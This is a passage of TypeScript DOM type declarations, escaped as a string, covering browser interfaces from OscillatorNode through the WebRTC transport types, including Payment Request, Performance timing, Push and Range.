OfflineAudioContext;\\n};\\n\\ninterface OscillatorNodeEventMap {\\n    \"ended\": MediaStreamErrorEvent;\\n}\\n\\ninterface OscillatorNode extends AudioNode {\\n    readonly detune: AudioParam;\\n    readonly frequency: AudioParam;\\n    onended: (this: OscillatorNode, ev: MediaStreamErrorEvent) => any;\\n    type: OscillatorType;\\n    setPeriodicWave(periodicWave: PeriodicWave): void;\\n    start(when?: number): void;\\n    stop(when?: number): void;\\n    addEventListener<K extends keyof OscillatorNodeEventMap>(type: K, listener: (this: OscillatorNode, ev: OscillatorNodeEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var OscillatorNode: {\\n    prototype: OscillatorNode;\\n    new(): OscillatorNode;\\n};\\n\\ninterface OverflowEvent extends UIEvent {\\n    readonly horizontalOverflow: boolean;\\n    readonly orient: number;\\n    readonly verticalOverflow: boolean;\\n    readonly BOTH: number;\\n    readonly HORIZONTAL: number;\\n    readonly VERTICAL: number;\\n}\\n\\ndeclare var OverflowEvent: {\\n    prototype: OverflowEvent;\\n    new(): OverflowEvent;\\n    readonly BOTH: number;\\n    readonly HORIZONTAL: number;\\n    readonly VERTICAL: number;\\n};\\n\\ninterface PageTransitionEvent extends Event {\\n    readonly persisted: boolean;\\n}\\n\\ndeclare var PageTransitionEvent: {\\n    prototype: PageTransitionEvent;\\n    new(): PageTransitionEvent;\\n};\\n\\ninterface PannerNode extends AudioNode {\\n    coneInnerAngle: number;\\n    coneOuterAngle: number;\\n    coneOuterGain: number;\\n    distanceModel: DistanceModelType;\\n    maxDistance: number;\\n    panningModel: PanningModelType;\\n    refDistance: number;\\n    rolloffFactor: number;\\n    setOrientation(x: number, y: number, z: number): void;\\n    setPosition(x: number, y: number, z: number): void;\\n    setVelocity(x: number, y: number, z: number): void;\\n}\\n\\ndeclare var PannerNode: {\\n    prototype: PannerNode;\\n    new(): PannerNode;\\n};\\n\\ninterface Path2D extends Object, CanvasPathMethods {\\n}\\n\\ndeclare var Path2D: {\\n    prototype: Path2D;\\n    new(path?: Path2D): Path2D;\\n};\\n\\ninterface PaymentAddress {\\n    readonly addressLine: string[];\\n    readonly city: string;\\n    readonly country: string;\\n    readonly dependentLocality: string;\\n    readonly languageCode: string;\\n    readonly organization: string;\\n    readonly phone: string;\\n    readonly postalCode: string;\\n    readonly recipient: string;\\n    readonly region: string;\\n    readonly sortingCode: string;\\n    toJSON(): any;\\n}\\n\\ndeclare var PaymentAddress: {\\n    prototype: PaymentAddress;\\n    new(): PaymentAddress;\\n};\\n\\ninterface PaymentRequestEventMap {\\n    \"shippingaddresschange\": Event;\\n    \"shippingoptionchange\": Event;\\n}\\n\\ninterface PaymentRequest extends EventTarget {\\n    onshippingaddresschange: (this: PaymentRequest, ev: Event) => any;\\n    onshippingoptionchange: (this: PaymentRequest, ev: Event) => any;\\n    readonly shippingAddress: PaymentAddress | null;\\n    readonly shippingOption: string | null;\\n    readonly shippingType: PaymentShippingType | null;\\n    abort(): Promise<void>;\\n    show(): Promise<PaymentResponse>;\\n    addEventListener<K extends keyof PaymentRequestEventMap>(type: K, listener: (this: PaymentRequest, ev: PaymentRequestEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var PaymentRequest: {\\n    prototype: PaymentRequest;\\n    new(methodData: PaymentMethodData[], details: PaymentDetails, options?: PaymentOptions): PaymentRequest;\\n};\\n\\ninterface PaymentRequestUpdateEvent extends Event {\\n    updateWith(d: Promise<PaymentDetails>): void;\\n}\\n\\ndeclare var PaymentRequestUpdateEvent: {\\n    prototype: PaymentRequestUpdateEvent;\\n    new(type: string, eventInitDict?: PaymentRequestUpdateEventInit): PaymentRequestUpdateEvent;\\n};\\n\\ninterface PaymentResponse {\\n    readonly details: any;\\n    readonly methodName: string;\\n    readonly payerEmail: string | null;\\n    readonly payerName: string | null;\\n    readonly payerPhone: string | null;\\n    readonly shippingAddress: PaymentAddress | null;\\n    readonly shippingOption: string | null;\\n    complete(result?: PaymentComplete): Promise<void>;\\n    toJSON(): any;\\n}\\n\\ndeclare var PaymentResponse: {\\n    prototype: PaymentResponse;\\n    new(): PaymentResponse;\\n};\\n\\ninterface Performance {\\n    readonly navigation: PerformanceNavigation;\\n    readonly timing: PerformanceTiming;\\n    clearMarks(markName?: string): void;\\n    clearMeasures(measureName?: string): void;\\n    clearResourceTimings(): void;\\n    getEntries(): any;\\n    getEntriesByName(name: string, entryType?: string): any;\\n    getEntriesByType(entryType: string): any;\\n    getMarks(markName?: string): any;\\n    getMeasures(measureName?: string): any;\\n    mark(markName: string): void;\\n    measure(measureName: string, startMarkName?: string, endMarkName?: string): void;\\n    now(): number;\\n    setResourceTimingBufferSize(maxSize: number): void;\\n    toJSON(): any;\\n}\\n\\ndeclare var Performance: {\\n    prototype: Performance;\\n    new(): Performance;\\n};\\n\\ninterface PerformanceEntry {\\n    readonly duration: number;\\n    readonly entryType: string;\\n    readonly name: string;\\n    readonly startTime: number;\\n}\\n\\ndeclare var PerformanceEntry: {\\n    prototype: PerformanceEntry;\\n    new(): PerformanceEntry;\\n};\\n\\ninterface PerformanceMark extends PerformanceEntry {\\n}\\n\\ndeclare var PerformanceMark: {\\n    prototype: PerformanceMark;\\n    new(): PerformanceMark;\\n};\\n\\ninterface PerformanceMeasure extends PerformanceEntry {\\n}\\n\\ndeclare var PerformanceMeasure: {\\n    prototype: PerformanceMeasure;\\n    new(): PerformanceMeasure;\\n};\\n\\ninterface PerformanceNavigation {\\n    readonly redirectCount: number;\\n    readonly type: number;\\n    toJSON(): any;\\n    readonly TYPE_BACK_FORWARD: number;\\n    readonly TYPE_NAVIGATE: number;\\n    readonly TYPE_RELOAD: number;\\n    readonly TYPE_RESERVED: number;\\n}\\n\\ndeclare var PerformanceNavigation: {\\n    prototype: PerformanceNavigation;\\n    new(): PerformanceNavigation;\\n    readonly TYPE_BACK_FORWARD: number;\\n    readonly TYPE_NAVIGATE: number;\\n    readonly TYPE_RELOAD: number;\\n    readonly TYPE_RESERVED: number;\\n};\\n\\ninterface PerformanceNavigationTiming extends PerformanceEntry {\\n    readonly connectEnd: number;\\n    readonly connectStart: number;\\n    readonly domainLookupEnd: number;\\n    readonly domainLookupStart: number;\\n    readonly domComplete: number;\\n    readonly domContentLoadedEventEnd: number;\\n    readonly domContentLoadedEventStart: number;\\n    readonly domInteractive: number;\\n    readonly domLoading: number;\\n    readonly fetchStart: number;\\n    readonly loadEventEnd: number;\\n    readonly loadEventStart: number;\\n    readonly navigationStart: number;\\n    readonly redirectCount: number;\\n    readonly redirectEnd: number;\\n    readonly redirectStart: number;\\n    readonly requestStart: number;\\n    readonly responseEnd: number;\\n    readonly responseStart: number;\\n    readonly type: NavigationType;\\n    readonly unloadEventEnd: number;\\n    readonly unloadEventStart: number;\\n}\\n\\ndeclare var PerformanceNavigationTiming: {\\n    prototype: PerformanceNavigationTiming;\\n    new(): PerformanceNavigationTiming;\\n};\\n\\ninterface PerformanceResourceTiming extends PerformanceEntry {\\n    readonly connectEnd: number;\\n    readonly connectStart: number;\\n    readonly domainLookupEnd: number;\\n    readonly domainLookupStart: number;\\n    readonly fetchStart: number;\\n    readonly initiatorType: string;\\n    readonly redirectEnd: number;\\n    readonly redirectStart: number;\\n    readonly requestStart: number;\\n    readonly responseEnd: number;\\n    readonly responseStart: number;\\n}\\n\\ndeclare var PerformanceResourceTiming: {\\n    prototype: PerformanceResourceTiming;\\n    new(): PerformanceResourceTiming;\\n};\\n\\ninterface PerformanceTiming {\\n    readonly connectEnd: number;\\n    readonly connectStart: number;\\n    readonly domainLookupEnd: number;\\n    readonly domainLookupStart: number;\\n    readonly domComplete: number;\\n    readonly domContentLoadedEventEnd: number;\\n    readonly domContentLoadedEventStart: number;\\n    readonly domInteractive: number;\\n    readonly domLoading: number;\\n    readonly fetchStart: number;\\n    readonly loadEventEnd: number;\\n    readonly loadEventStart: number;\\n    readonly msFirstPaint: number;\\n    readonly navigationStart: number;\\n    readonly redirectEnd: number;\\n    readonly redirectStart: number;\\n    readonly requestStart: number;\\n    readonly responseEnd: number;\\n    readonly responseStart: number;\\n    readonly unloadEventEnd: number;\\n    readonly unloadEventStart: number;\\n    readonly secureConnectionStart: number;\\n    toJSON(): any;\\n}\\n\\ndeclare var PerformanceTiming: {\\n    prototype: PerformanceTiming;\\n    new(): PerformanceTiming;\\n};\\n\\ninterface PerfWidgetExternal {\\n    readonly activeNetworkRequestCount: number;\\n    readonly averageFrameTime: number;\\n    readonly averagePaintTime: number;\\n    readonly extraInformationEnabled: boolean;\\n    readonly independentRenderingEnabled: boolean;\\n    readonly irDisablingContentString: string;\\n    readonly irStatusAvailable: boolean;\\n    readonly maxCpuSpeed: number;\\n    readonly paintRequestsPerSecond: number;\\n    readonly performanceCounter: number;\\n    readonly performanceCounterFrequency: number;\\n    addEventListener(eventType: string, callback: Function): void;\\n    getMemoryUsage(): number;\\n    getProcessCpuUsage(): number;\\n    getRecentCpuUsage(last: number | null): any;\\n    getRecentFrames(last: number | null): any;\\n    getRecentMemoryUsage(last: number | null): any;\\n    getRecentPaintRequests(last: number | null): any;\\n    removeEventListener(eventType: string, callback: Function): void;\\n    repositionWindow(x: number, y: number): void;\\n    resizeWindow(width: number, height: number): void;\\n}\\n\\ndeclare var PerfWidgetExternal: {\\n    prototype: PerfWidgetExternal;\\n    new(): PerfWidgetExternal;\\n};\\n\\ninterface PeriodicWave {\\n}\\n\\ndeclare var PeriodicWave: {\\n    prototype: PeriodicWave;\\n    new(): PeriodicWave;\\n};\\n\\ninterface PermissionRequest extends DeferredPermissionRequest {\\n    readonly state: MSWebViewPermissionState;\\n    defer(): void;\\n}\\n\\ndeclare var PermissionRequest: {\\n    prototype: PermissionRequest;\\n    new(): PermissionRequest;\\n};\\n\\ninterface PermissionRequestedEvent extends Event {\\n    readonly permissionRequest: PermissionRequest;\\n}\\n\\ndeclare var PermissionRequestedEvent: {\\n    prototype: PermissionRequestedEvent;\\n    new(): PermissionRequestedEvent;\\n};\\n\\ninterface Plugin {\\n    readonly description: string;\\n    readonly filename: string;\\n    readonly length: number;\\n    readonly name: string;\\n    readonly version: string;\\n    item(index: number): MimeType;\\n    namedItem(type: string): MimeType;\\n    [index: number]: MimeType;\\n}\\n\\ndeclare var Plugin: {\\n    prototype: Plugin;\\n    new(): Plugin;\\n};\\n\\ninterface PluginArray {\\n    readonly length: number;\\n    item(index: number): Plugin;\\n    namedItem(name: string): Plugin;\\n    refresh(reload?: boolean): void;\\n    [index: number]: Plugin;\\n}\\n\\ndeclare var PluginArray: {\\n    prototype: PluginArray;\\n    new(): PluginArray;\\n};\\n\\ninterface PointerEvent extends MouseEvent {\\n    readonly currentPoint: any;\\n    readonly height: number;\\n    readonly hwTimestamp: number;\\n    readonly intermediatePoints: any;\\n    readonly isPrimary: boolean;\\n    readonly pointerId: number;\\n    readonly pointerType: any;\\n    readonly pressure: number;\\n    readonly rotation: number;\\n    readonly tiltX: number;\\n    readonly tiltY: number;\\n    readonly width: number;\\n    getCurrentPoint(element: Element): void;\\n    getIntermediatePoints(element: Element): void;\\n    initPointerEvent(typeArg: string, canBubbleArg: boolean, cancelableArg: boolean, viewArg: Window, detailArg: number, screenXArg: number, screenYArg: number, clientXArg: number, clientYArg: number, ctrlKeyArg: boolean, altKeyArg: boolean, shiftKeyArg: boolean, metaKeyArg: boolean, buttonArg: number, relatedTargetArg: EventTarget, offsetXArg: number, offsetYArg: number, widthArg: number, heightArg: number, pressure: number, rotation: number, tiltX: number, tiltY: number, pointerIdArg: number, pointerType: any, hwTimestampArg: number, isPrimary: boolean): void;\\n}\\n\\ndeclare var PointerEvent: {\\n    prototype: PointerEvent;\\n    new(typeArg: string, eventInitDict?: PointerEventInit): PointerEvent;\\n};\\n\\ninterface PopStateEvent extends Event {\\n    readonly state: any;\\n    initPopStateEvent(typeArg: string, canBubbleArg: boolean, cancelableArg: boolean, stateArg: any): void;\\n}\\n\\ndeclare var PopStateEvent: {\\n    prototype: PopStateEvent;\\n    new(typeArg: string, eventInitDict?: PopStateEventInit): PopStateEvent;\\n};\\n\\ninterface Position {\\n    readonly coords: Coordinates;\\n    readonly timestamp: number;\\n}\\n\\ndeclare var Position: {\\n    prototype: Position;\\n    new(): Position;\\n};\\n\\ninterface PositionError {\\n    readonly code: number;\\n    readonly message: string;\\n    toString(): string;\\n    readonly PERMISSION_DENIED: number;\\n    readonly POSITION_UNAVAILABLE: number;\\n    readonly TIMEOUT: number;\\n}\\n\\ndeclare var PositionError: {\\n    prototype: PositionError;\\n    new(): PositionError;\\n    readonly PERMISSION_DENIED: number;\\n    readonly POSITION_UNAVAILABLE: number;\\n    readonly TIMEOUT: number;\\n};\\n\\ninterface ProcessingInstruction extends CharacterData {\\n    readonly target: string;\\n}\\n\\ndeclare var ProcessingInstruction: {\\n    prototype: ProcessingInstruction;\\n    new(): ProcessingInstruction;\\n};\\n\\ninterface ProgressEvent extends Event {\\n    readonly lengthComputable: boolean;\\n    readonly loaded: number;\\n    readonly total: number;\\n    initProgressEvent(typeArg: string, canBubbleArg: boolean, cancelableArg: boolean, lengthComputableArg: boolean, loadedArg: number, totalArg: number): void;\\n}\\n\\ndeclare var ProgressEvent: {\\n    prototype: ProgressEvent;\\n    new(type: string, eventInitDict?: ProgressEventInit): ProgressEvent;\\n};\\n\\ninterface PushManager {\\n    getSubscription(): Promise<PushSubscription>;\\n    permissionState(options?: PushSubscriptionOptionsInit): Promise<PushPermissionState>;\\n    subscribe(options?: PushSubscriptionOptionsInit): Promise<PushSubscription>;\\n}\\n\\ndeclare var PushManager: {\\n    prototype: PushManager;\\n    new(): PushManager;\\n};\\n\\ninterface PushSubscription {\\n    readonly endpoint: USVString;\\n    readonly options: PushSubscriptionOptions;\\n    getKey(name: PushEncryptionKeyName): ArrayBuffer | null;\\n    toJSON(): any;\\n    unsubscribe(): Promise<boolean>;\\n}\\n\\ndeclare var PushSubscription: {\\n    prototype: PushSubscription;\\n    new(): PushSubscription;\\n};\\n\\ninterface PushSubscriptionOptions {\\n    readonly applicationServerKey: ArrayBuffer | null;\\n    readonly userVisibleOnly: boolean;\\n}\\n\\ndeclare var PushSubscriptionOptions: {\\n    prototype: PushSubscriptionOptions;\\n    new(): PushSubscriptionOptions;\\n};\\n\\ninterface Range {\\n    readonly collapsed: boolean;\\n    readonly commonAncestorContainer: Node;\\n    readonly endContainer: Node;\\n    readonly endOffset: number;\\n    readonly startContainer: Node;\\n    readonly startOffset: number;\\n    cloneContents(): DocumentFragment;\\n    cloneRange(): Range;\\n    collapse(toStart: boolean): void;\\n    compareBoundaryPoints(how: number, sourceRange: Range): number;\\n    createContextualFragment(fragment: string): DocumentFragment;\\n    deleteContents(): void;\\n    detach(): void;\\n    expand(Unit: ExpandGranularity): boolean;\\n    extractContents(): DocumentFragment;\\n    getBoundingClientRect(): ClientRect;\\n    getClientRects(): ClientRectList;\\n    insertNode(newNode: Node): void;\\n    selectNode(refNode: Node): void;\\n    selectNodeContents(refNode: Node): void;\\n    setEnd(refNode: Node, offset: number): void;\\n    setEndAfter(refNode: Node): void;\\n    setEndBefore(refNode: Node): void;\\n    setStart(refNode: Node, offset: number): void;\\n    setStartAfter(refNode: Node): void;\\n    setStartBefore(refNode: Node): void;\\n    surroundContents(newParent: Node): void;\\n    toString(): string;\\n    readonly END_TO_END: number;\\n    readonly END_TO_START: number;\\n    readonly START_TO_END: number;\\n    readonly START_TO_START: number;\\n}\\n\\ndeclare var Range: {\\n    prototype: Range;\\n    new(): Range;\\n    readonly END_TO_END: number;\\n    readonly END_TO_START: number;\\n    readonly START_TO_END: number;\\n    readonly START_TO_START: number;\\n};\\n\\ninterface ReadableStream {\\n    readonly locked: boolean;\\n    cancel(): Promise<void>;\\n    getReader(): ReadableStreamReader;\\n}\\n\\ndeclare var ReadableStream: {\\n    prototype: ReadableStream;\\n    new(): ReadableStream;\\n};\\n\\ninterface ReadableStreamReader {\\n    cancel(): Promise<void>;\\n    read(): Promise<any>;\\n    releaseLock(): void;\\n}\\n\\ndeclare var ReadableStreamReader: {\\n    prototype: ReadableStreamReader;\\n    new(): ReadableStreamReader;\\n};\\n\\ninterface Request extends Object, Body {\\n    readonly cache: RequestCache;\\n    readonly credentials: RequestCredentials;\\n    readonly destination: RequestDestination;\\n    readonly headers: Headers;\\n    readonly integrity: string;\\n    readonly keepalive: boolean;\\n    readonly method: string;\\n    readonly mode: RequestMode;\\n    readonly redirect: RequestRedirect;\\n    readonly referrer: string;\\n    readonly referrerPolicy: ReferrerPolicy;\\n    readonly type: RequestType;\\n    readonly url: string;\\n    clone(): Request;\\n}\\n\\ndeclare var Request: {\\n    prototype: Request;\\n    new(input: Request | string, init?: RequestInit): Request;\\n};\\n\\ninterface Response extends Object, Body {\\n    readonly body: ReadableStream | null;\\n    readonly headers: Headers;\\n    readonly ok: boolean;\\n    readonly status: number;\\n    readonly statusText: string;\\n    readonly type: ResponseType;\\n    readonly url: string;\\n    clone(): Response;\\n}\\n\\ndeclare var Response: {\\n    prototype: Response;\\n    new(body?: any, init?: ResponseInit): Response;\\n    error: () => Response;\\n    redirect: (url: string, status?: number) => Response;\\n};\\n\\ninterface RTCDtlsTransportEventMap {\\n    \"dtlsstatechange\": RTCDtlsTransportStateChangedEvent;\\n    \"error\": Event;\\n}\\n\\ninterface RTCDtlsTransport extends RTCStatsProvider {\\n    ondtlsstatechange: ((this: RTCDtlsTransport, ev: RTCDtlsTransportStateChangedEvent) => any) | null;\\n    onerror: ((this: RTCDtlsTransport, ev: Event) => any) | null;\\n    readonly state: RTCDtlsTransportState;\\n    readonly transport: RTCIceTransport;\\n    getLocalParameters(): RTCDtlsParameters;\\n    getRemoteCertificates(): ArrayBuffer[];\\n    getRemoteParameters(): RTCDtlsParameters | null;\\n    start(remoteParameters: RTCDtlsParameters): void;\\n    stop(): void;\\n    addEventListener<K extends keyof RTCDtlsTransportEventMap>(type: K, listener: (this: RTCDtlsTransport, ev: RTCDtlsTransportEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var RTCDtlsTransport: {\\n    prototype: RTCDtlsTransport;\\n    new(transport: RTCIceTransport): RTCDtlsTransport;\\n};\\n\\ninterface RTCDtlsTransportStateChangedEvent extends Event {\\n    readonly state: RTCDtlsTransportState;\\n}\\n\\ndeclare var RTCDtlsTransportStateChangedEvent: {\\n    prototype: RTCDtlsTransportStateChangedEvent;\\n    new(): RTCDtlsTransportStateChangedEvent;\\n};\\n\\ninterface RTCDtmfSenderEventMap {\\n    \"tonechange\": RTCDTMFToneChangeEvent;\\n}\\n\\ninterface RTCDtmfSender extends EventTarget {\\n    readonly canInsertDTMF: boolean;\\n    readonly duration: number;\\n    readonly interToneGap: number;\\n    ontonechange: (this: RTCDtmfSender, ev: RTCDTMFToneChangeEvent) => any;\\n    readonly sender: RTCRtpSender;\\n    readonly toneBuffer: string;\\n    insertDTMF(tones: string, duration?: number, interToneGap?: number): void;\\n    addEventListener<K extends keyof RTCDtmfSenderEventMap>(type: K, listener: (this: RTCDtmfSender, ev: RTCDtmfSenderEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var RTCDtmfSender: {\\n    prototype: RTCDtmfSender;\\n    new(sender: RTCRtpSender): RTCDtmfSender;\\n};\\n\\ninterface RTCDTMFToneChangeEvent extends Event {\\n    readonly tone: string;\\n}\\n\\ndeclare var RTCDTMFToneChangeEvent: {\\n    prototype: RTCDTMFToneChangeEvent;\\n    new(typeArg: string, eventInitDict: RTCDTMFToneChangeEventInit): RTCDTMFToneChangeEvent;\\n};\\n\\ninterface RTCIceCandidate {\\n    candidate: string | null;\\n    sdpMid: string | null;\\n    sdpMLineIndex: number | null;\\n    toJSON(): any;\\n}\\n\\ndeclare var RTCIceCandidate: {\\n    prototype: RTCIceCandidate;\\n    new(candidateInitDict?: RTCIceCandidateInit): RTCIceCandidate;\\n};\\n\\ninterface RTCIceCandidatePairChangedEvent extends Event {\\n    readonly pair: RTCIceCandidatePair;\\n}\\n\\ndeclare var RTCIceCandidatePairChangedEvent: {\\n    prototype: RTCIceCandidatePairChangedEvent;\\n    new(): RTCIceCandidatePairChangedEvent;\\n};\\n\\ninterface RTCIceGathererEventMap {\\n    \"error\": Event;\\n    \"localcandidate\": RTCIceGathererEvent;\\n}\\n\\ninterface RTCIceGatherer extends RTCStatsProvider {\\n    readonly component: RTCIceComponent;\\n    onerror: ((this: RTCIceGatherer, ev: Event) => any) | null;\\n    onlocalcandidate: ((this: RTCIceGatherer, ev: RTCIceGathererEvent) => any) | null;\\n    createAssociatedGatherer(): RTCIceGatherer;\\n    getLocalCandidates(): RTCIceCandidateDictionary[];\\n    getLocalParameters(): RTCIceParameters;\\n    addEventListener<K extends keyof RTCIceGathererEventMap>(type: K, listener: (this: RTCIceGatherer, ev: RTCIceGathererEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var RTCIceGatherer: {\\n    prototype: RTCIceGatherer;\\n    new(options: RTCIceGatherOptions): RTCIceGatherer;\\n};\\n\\ninterface RTCIceGathererEvent extends Event {\\n    readonly candidate: RTCIceCandidateDictionary | RTCIceCandidateComplete;\\n}\\n\\ndeclare var RTCIceGathererEvent: {\\n    prototype: RTCIceGathererEvent;\\n    new(): RTCIceGathererEvent;\\n};\\n\\ninterface RTCIceTransportEventMap {\\n    \"candidatepairchange\": RTCIceCandidatePairChangedEvent;\\n    \"icestatechange\": RTCIceTransportStateChangedEvent;\\n}\\n\\ninterface RTCIceTransport extends RTCStatsProvider {\\n    readonly component: RTCIceComponent;\\n    readonly iceGatherer: RTCIceGatherer | null;\\n    oncandidatepairchange: ((this: RTCIceTransport, ev: RTCIceCandidatePairChangedEvent) => any) | null;\\n    onicestatechange: ((this: RTCIceTransport, ev: RTCIceTransportStateChangedEvent) => any) | null;\\n    readonly role: RTCIceRole;\\n    readonly state: RTCIceTransportState;\\n    addRemoteCandidate(remoteCandidate: RTCIceCandidateDictionary | RTCIceCandidateComplete): void;\\n    createAssociatedTransport(): RTCIceTransport;\\n    getNominatedCandidatePair(): RTCIceCandidatePair | null;\\n    getRemoteCandidates(): RTCIceCandidateDictionary[];\\n    getRemoteParameters(): RTCIceParameters | null;\\n    setRemoteCandidates(remoteCandidates: RTCIceCandidateDictionary[]): void;\\n    start(gatherer: RTCIceGatherer, remoteParameters: RTCIceParameters, role?: RTCIceRole): void;\\n    stop(): void;\\n    addEventListener<K extends keyof RTCIceTransportEventMap>(type: K, listener: (this: RTCIceTransport, ev: RTCIceTransportEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var RTCIceTransport: {\\n    prototype: RTCIceTransport;\\n    new(): RTCIceTransport;\\n};\\n\\ninterface RTCIceTransportStateChangedEvent extends Event {\\n    readonly state: RTCIceTransportState;\\n}\\n\\ndeclare var RTCIceTransportStateChangedEvent: {\\n    prototype: RTCIceTransportStateChangedEvent;\\n    new(): RTCIceTransportStateChangedEvent;\\n};\\n\\ninterface RTCPeerConnectionEventMap {\\n    \"addstream\": MediaStreamEvent;\\n    \"icecandidate\": RTCPeerConnectionIceEvent;\\n    \"iceconnectionstatechange\": Event;\\n    \"icegatheringstatechange\": Event;\\n    \"negotiationneeded\": Event;\\n    \"removestream\": MediaStreamEvent;\\n    \"signalingstatechange\": Event;\\n}\\n\\ninterface RTCPeerConnection extends EventTarget {\\n    readonly canTrickleIceCandidates: boolean | null;\\n    readonly iceConnectionState: RTCIceConnectionState;\\n    readonly iceGatheringState: RTCIceGatheringState;\\n    readonly localDescription: RTCSessionDescription | null;\\n    onaddstream: (this: RTCPeerConnection, ev: MediaStreamEvent) => any;\\n    onicecandidate: (this: RTCPeerConnection, ev: RTCPeerConnectionIceEvent) => any;\\n    oniceconnectionstatechange: (this: RTCPeerConnection, ev: Event) => any;\\n    onicegatheringstatechange: (this: RTCPeerConnection, ev: Event) => any;\\n    onnegotiationneeded: (this: RTCPeerConnection, ev: Event) => any;\\n    onremovestream: (this: RTCPeerConnection, ev: MediaStreamEvent) => any;\\n    onsignalingstatechange: (this: RTCPeerConnection, ev: Event) => any;\\n    readonly remoteDescription: RTCSessionDescription | null;\\n    readonly signalingState: RTCSignalingState;\\n    addIceCandidate(candidate: RTCIceCandidate, successCallback?: VoidFunction, failureCallback?: RTCPeerConnectionErrorCallback): Promise<void>;\\n    addStream(stream: MediaStream): void;\\n    close(): void;\\n    createAnswer(successCallback?: RTCSessionDescriptionCallback, failureCallback?: RTCPeerConnectionErrorCallback): Promise<RTCSessionDescription>;\\n    createOffer(successCallback?: RTCSessionDescriptionCallback, failureCallback?: RTCPeerConnectionErrorCallback, options?: RTCOfferOptions): Promise<RTCSessionDescription>;\\n    getConfiguration(): RTCConfiguration;\\n    getLocalStreams(): MediaStream[];\\n    getRemoteStreams(): MediaStream[];\\n    getStats(selector: MediaStreamTrack | null, successCallback?: RTCStatsCallback, failureCallback?: RTCPeerConnectionErrorCallback): Promise<RTCStatsReport>;\\n    getStreamById(streamId: string): MediaStream | null;\\n    removeStream(stream: MediaStream): void;\\n    setLocalDescription(description: RTCSessionDescription, successCallback?: VoidFunction, failureCallback?: RTCPeerConnectionErrorCallback): Promise<void>;\\n    setRemoteDescription(description: RTCSessionDescription, successCallback?: VoidFunction, failureCallback?: RTCPeerConnectionErrorCallback): Promise<void>;\\n    addEventListener<K extends keyof RTCPeerConnectionEventMap>(type: K, listener: (this: RTCPeerConnection, ev: RTCPeerConnectionEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var RTCPeerConnection: {\\n    prototype: RTCPeerConnection;\\n    new(configuration: RTCConfiguration): RTCPeerConnection;\\n};\\n\\ninterface RTCPeerConnectionIceEvent extends Event {\\n    readonly candidate: RTCIceCandidate;\\n}\\n\\ndeclare var RTCPeerConnectionIceEvent: {\\n    prototype: RTCPeerConnectionIceEvent;\\n    new(type: string, eventInitDict: RTCPeerConnectionIceEventInit): RTCPeerConnectionIceEvent;\\n};\\n\\ninterface RTCRtpReceiverEventMap {\\n    \"error\": Event;\\n}\\n\\ninterface RTCRtpReceiver extends RTCStatsProvider {\\n    onerror: ((this: RTCRtpReceiver, ev: Event) => any) | null;\\n    readonly rtcpTransport: RTCDtlsTransport;\\n    readonly track: MediaStreamTrack | null;\\n    readonly transport: RTCDtlsTransport | RTCSrtpSdesTransport;\\n    getContributingSources(): RTCRtpContributingSource[];\\n    receive(parameters: RTCRtpParameters): void;\\n    requestSendCSRC(csrc: number): void;\\n    setTransport(transport: RTCDtlsTransport | RTCSrtpSdesTransport, rtcpTransport?: RTCDtlsTransport): void;\\n    stop(): void;\\n    addEventListener<K extends keyof RTCRtpReceiverEventMap>(type: K, listener: (this: RTCRtpReceiver, ev: RTCRtpReceiverEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var RTCRtpReceiver: {\\n    prototype: RTCRtpReceiver;\\n    new(transport: RTCDtlsTransport | RTCSrtpSdesTransport, kind: string, rtcpTransport?: RTCDtlsTransport): RTCRtpReceiver;\\n    getCapabilities(kind?: string): RTCRtpCapabilities;\\n};\\n\\ninterface RTCRtpSenderEventMap {\\n    \"error\": Event;\\n    \"ssrcconflict\": RTCSsrcConflictEvent;\\n}\\n\\ninterface RTCRtpSender extends RTCStatsProvider {\\n    onerror: ((this: RTCRtpSender, ev: Event) => any) | null;\\n    onssrcconflict: ((this: RTCRtpSender, ev: RTCSsrcConflictEvent) => any) | null;\\n    readonly rtcpTransport: RTCDtlsTransport;\\n    readonly track: MediaStreamTrack;\\n    readonly transport: RTCDtlsTransport | RTCSrtpSdesTransport;\\n    send(parameters: RTCRtpParameters): void;\\n    setTrack(track: MediaStreamTrack): void;\\n    setTransport(transport: RTCDtlsTransport | RTCSrtpSdesTransport, rtcpTransport?: RTCDtlsTransport): void;\\n    stop(): void;\\n    addEventListener<K extends keyof RTCRtpSenderEventMap>(type: K, listener: (this: RTCRtpSender, ev: RTCRtpSenderEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var RTCRtpSender: {\\n    prototype: RTCRtpSender;\\n    new(track: MediaStreamTrack, transport: RTCDtlsTransport | RTCSrtpSdesTransport, rtcpTransport?: RTCDtlsTransport): RTCRtpSender;\\n    getCapabilities(kind?: string): RTCRtpCapabilities;\\n};\\n\\ninterface RTCSessionDescription {\\n    sdp: string | null;\\n    type: RTCSdpType | null;\\n    toJSON(): any;\\n}\\n\\ndeclare var RTCSessionDescription: {\\n    prototype: RTCSessionDescription;\\n    new(descriptionInitDict?: RTCSessionDescriptionInit): RTCSessionDescription;\\n};\\n\\ninterface RTCSrtpSdesTransportEventMap {\\n    \"error\": Event;\\n}\\n\\ninterface RTCSrtpSdesTransport extends EventTarget {\\n    onerror: ((this: RTCSrtpSdesTransport, ev: Event) => any) | null;\\n    readonly transport: RTCIceTransport;\\n    addEventListener<K extends keyof RTCSrtpSdesTransportEventMap>(type: K, listener: (this: 